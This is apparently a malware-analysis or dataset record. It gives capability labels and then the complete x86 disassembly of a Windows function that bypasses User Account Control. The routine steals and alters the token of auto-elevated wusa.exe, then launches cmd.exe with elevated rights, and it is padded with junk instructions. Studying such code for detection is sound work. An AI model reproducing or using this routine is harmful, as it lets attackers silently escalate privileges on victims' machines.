Function at 0xd91280
Capabilities:
Bypass uac via token manipulation
Create process on windows
Create process suspended
Resolve function by parsing pe exports

Disassembly:
push ebp
push esp
pop ebp
and esp, 0xfffffff8
sub esp, 0x71c
mov eax, dword [0xda10d8]
xor eax, esp
mov dword [esp + 0x718], eax
mov eax, dword [ebp + 8]
push ebx
xor ebx, ebx
push esi
mov dword [esp + 0xc], eax
mov dword [esp + 8], ecx
push edi
mov dword [esp + 0x20], ebx
mov esi, 0xc0000001
mov dword [esp + 0x2c], ebx
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x28], ebx
mov dword [esp + 0x14], ebx
mov dword [esp + 0xfc], ebx
mov word [esp + 0x100], 0x1000
mov dword [esp + 0x24], ebx
push ecx
pop ecx
push 0x3c
pop ecx
lea eax, [esp + 0x74]
mov byte [eax], bl
inc eax
dec ecx
jne 0xd912e1
cmp edx, ebx
je 0xd912f2
mov edi, edx
jmp 0xd91373
mov ecx, 0x20a
lea eax, [esp + 0x110]
pushal
popal
mov byte [eax], bl
inc eax
dec ecx
jne 0xd91300
push edx
pop edx
push 8
pop ecx
lea eax, [esp + 0x44]
nop
mov byte [eax], bl
inc eax
dec ecx
jne 0xd91310
push str._systemroot__system32cmd.exe
lea edx, [esp + 0x48]
push edx
call dword [0xda392c]
lea eax, [esp + 0x110]
mov dword [esp + 0x34], eax
lea eax, [esp + 0x38]
push eax
lea ecx, [esp + 0x34]
push ecx
lea edx, [esp + 0x4c]
push edx
push ebx
mov dword [esp + 0x40], 0x2080000
mov dword [esp + 0x48], ebx
call dword [0xda391c]
cmp eax, ebx
jge 0xd9136c
cmp eax, 0xc0000023
je 0xd9136c
push eax
call dword [0xda3938]
push eax
call dword [0xda3920]
lea edi, [esp + 0x110]
lea eax, [esp + 0x74]
push eax
mov dword [esp + 0x78], 0x3c
mov dword [esp + 0x7c], 0x40
mov dword [esp + 0x88], str.wusa.exe
mov dword [esp + 0x94], ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
je 0xd916f9
mov edx, dword [esp + 0xac]
lea ecx, [esp + 0x2c]
push ecx
push 0x2000000
push edx
call dword [0xda3940]
mov esi, eax
cmp esi, ebx
jl 0xd91711
lea ecx, [esp + 0x1c]
push ecx
push 1
push ebx
lea edx, [esp + 0x58]
lea eax, [esp + 0x110]
push edx
mov dword [esp + 0x70], eax
mov eax, dword [esp + 0x3c]
push 0xf01ff
push eax
mov dword [esp + 0x11c], 0xc
mov dword [esp + 0x120], 2
mov word [esp + 0x124], bx
mov dword [esp + 0x64], 0x18
mov dword [esp + 0x68], ebx
mov dword [esp + 0x70], ebx
mov dword [esp + 0x6c], ebx
mov dword [esp + 0x74], ebx
call dword [0xda3944]
push eax
pop esi
cmp esi, ebx
jl 0xd9171d
lea ecx, [esp + 0x24]
push ecx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0x2000
push 1
lea edx, [esp + 0x124]
push edx
call dword [0xda3948]
push eax
pop esi
cmp esi, ebx
jl 0xd9172f
mov eax, dword [esp + 0x24]
push eax
mov dword [esp + 0x44], 0x20
mov dword [esp + 0x40], eax
call dword [0xda3950]
mov ecx, dword [esp + 0x1c]
add eax, 8
push eax
lea eax, [esp + 0x40]
push eax
push 0x19
push ecx
call dword [0xda3934]
mov esi, eax
cmp esi, ebx
jl 0xd91741
mov eax, dword [esp + 0x1c]
lea edx, [esp + 0x28]
push edx
push ebx
push ebx
push ebx
push 4
push eax
call dword [0xda394c]
mov esi, eax
cmp esi, ebx
jl 0xd9174d
mov eax, dword [esp + 0x28]
lea ecx, [esp + 0x14]
push ecx
push 2
push ebx
lea edx, [esp + 0x58]
push edx
push 0xc
push eax
mov dword [esp + 0x2c], ebx
call dword [0xda3944]
push eax
pop esi
cmp esi, ebx
jl 0xd9175f
push 4
lea ecx, [esp + 0x18]
push ecx
push 5
push 0xfffffffffffffffe
call dword [0xda3930]
mov esi, eax
cmp esi, ebx
jl 0xd91771
mov edx, dword [esp + 0x14]
push edx
call dword [0xda393c]
mov dword [esp + 0x14], ebx
mov dword [esp + 0x18], ebx
cmp word [edi], bx
je 0xd916dd
jmp 0xd91516
sub ebx, ebx
movzx edx, word [edi]
mov eax, edi
cmp dx, bx
je 0xd91534
mov ecx, edx
cmp cx, 0xd
je 0xd91534
movzx ecx, word [eax + 2]
add eax, 2
cmp cx, bx
jne 0xd91522
sub ebx, ebx
cmp word [eax], 0xd
setne bl
dec ebx
and ebx, eax
jne 0xd9157a
mov eax, edi
test dx, dx
je 0xd91562
mov ecx, edx
jmp 0xd91550
cmp cx, 0xa
je 0xd91562
movzx ecx, word [eax + 2]
add eax, 2
test cx, cx
jne 0xd91550
xor ebx, ebx
cmp word [eax], 0xa
setne bl
dec ebx
and ebx, eax
jne 0xd9157a
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea ebx, [edi + eax*2]
mov eax, ebx
sub eax, edi
sar eax, 1
cmp eax, 0x200
jb 0xd9158c
mov eax, 0x1ff
lea esi, [eax + eax]
push esi
lea eax, [esp + 0x324]
push edi
push eax
call fcn.00d9ee08
add esp, 0xc
sub ecx, ecx
mov word [esp + esi + 0x320], cx
push 0x44
pop ecx
pushal
popal
lea eax, [esp + 0xb0]
mov byte [eax], 0
inc eax
dec ecx
jne 0xd915b7
lea edx, [esp + 0xb0]
push edx
mov dword [esp + 0xb4], 0x44
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
mov eax, 6
mov word [esp + 0xe0], ax
mov dword [esp + 0xdc], 1
nop
nop
push 0x10
pop ecx
lea eax, [esp + 0x64]
mov byte [eax], 0
inc eax
dec ecx
jne 0xd915f8
lea ecx, [esp + 0x64]
push ecx
lea edx, [esp + 0xb4]
push edx
push 0
push 0
push 0
lea eax, [esp + 0x334]
push eax
push 0
push 2
push str.useless
push 0xda12a0
push 0xda12a8
call dword [sym.imp.ADVAPI32.dll_CreateProcessWithLogonW]
mov dword [esp + 0x20], eax
or eax, eax
je 0xd916bf
mov ecx, dword [esp + 0x64]
push 0x2710
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push eax
pop esi
mov eax, dword [esp + 0x68]
test eax, eax
je 0xd91660
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x64]
or eax, eax
je 0xd9166f
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp esi, 0x102
je 0xd9169b
movzx eax, word [ebx]
cmp eax, 0xd
je 0xd91684
cmp eax, 0xa
jne 0xd91689
add ebx, 2
jmp 0xd91677
inc dword [esp + 0x18]
cmp word [ebx], 0
push ebx
pop edi
jne 0xd91514
jmp 0xd916db
mov edx, dword [esp + 0x18]
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 0x10]
add edx, 0x210
mov dword [eax], edx
mov dword [ecx], 0x102
mov dword [esp + 0x20], 0
jmp 0xd916db
mov edx, dword [esp + 0x18]
mov eax, dword [esp + 0xc]
add edx, 0x210
mov dword [eax], edx
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [esp + 0x10]
mov dword [ecx], eax
xor ebx, ebx
push 4
lea edx, [esp + 0x18]
push edx
push 5
push 0xfffffffffffffffe
mov dword [esp + 0x24], ebx
call dword [0xda3930]
mov esi, eax
jmp 0xd91781
mov eax, dword [esp + 0xc]
mov dword [eax], 0x202
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [esp + 0x10]
mov dword [ecx], eax
jmp 0xd91781
mov edx, dword [esp + 0xc]
mov dword [edx], 0x203
jmp 0xd9177b
mov ecx, dword [esp + 0xc]
mov edx, dword [esp + 0x10]
mov dword [ecx], 0x204
mov dword [edx], esi
jmp 0xd91781
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 0x10]
mov dword [eax], 0x205
mov dword [ecx], esi
jmp 0xd91781
mov edx, dword [esp + 0xc]
mov dword [edx], 0x206
jmp 0xd9177b
mov ecx, dword [esp + 0xc]
mov edx, dword [esp + 0x10]
mov dword [ecx], 0x207
mov dword [edx], esi
jmp 0xd91781
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 0x10]
mov dword [eax], 0x208
mov dword [ecx], esi
jmp 0xd91781
mov edx, dword [esp + 0xc]
mov dword [edx], 0x209
mov eax, dword [esp + 0x10]
mov dword [eax], esi
mov eax, dword [esp + 0x14]
cmp eax, ebx
je 0xd91790
push eax
call dword [0xda393c]
mov eax, dword [esp + 0x2c]
cmp eax, ebx
je 0xd9179f
push eax
call dword [0xda393c]
mov eax, dword [esp + 0x1c]
cmp eax, ebx
je 0xd917ae
push eax
call dword [0xda393c]
mov eax, dword [esp + 0x28]
cmp eax, ebx
je 0xd917bd
push eax
call dword [0xda393c]
mov eax, dword [esp + 0xac]
cmp eax, ebx
je 0xd917de
push ebx
push eax
call dword [0xda3924]
mov ecx, dword [esp + 0xac]
push ecx
call dword [0xda393c]
mov eax, dword [esp + 0x24]
cmp eax, ebx
je 0xd917ed
push eax
call dword [0xda3928]
push esi
call dword [0xda3938]
push eax
call dword [0xda3920]
mov ecx, dword [esp + 0x724]
mov eax, dword [esp + 0x20]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00d9ec50
mov esp, ebp
pop ebp
ret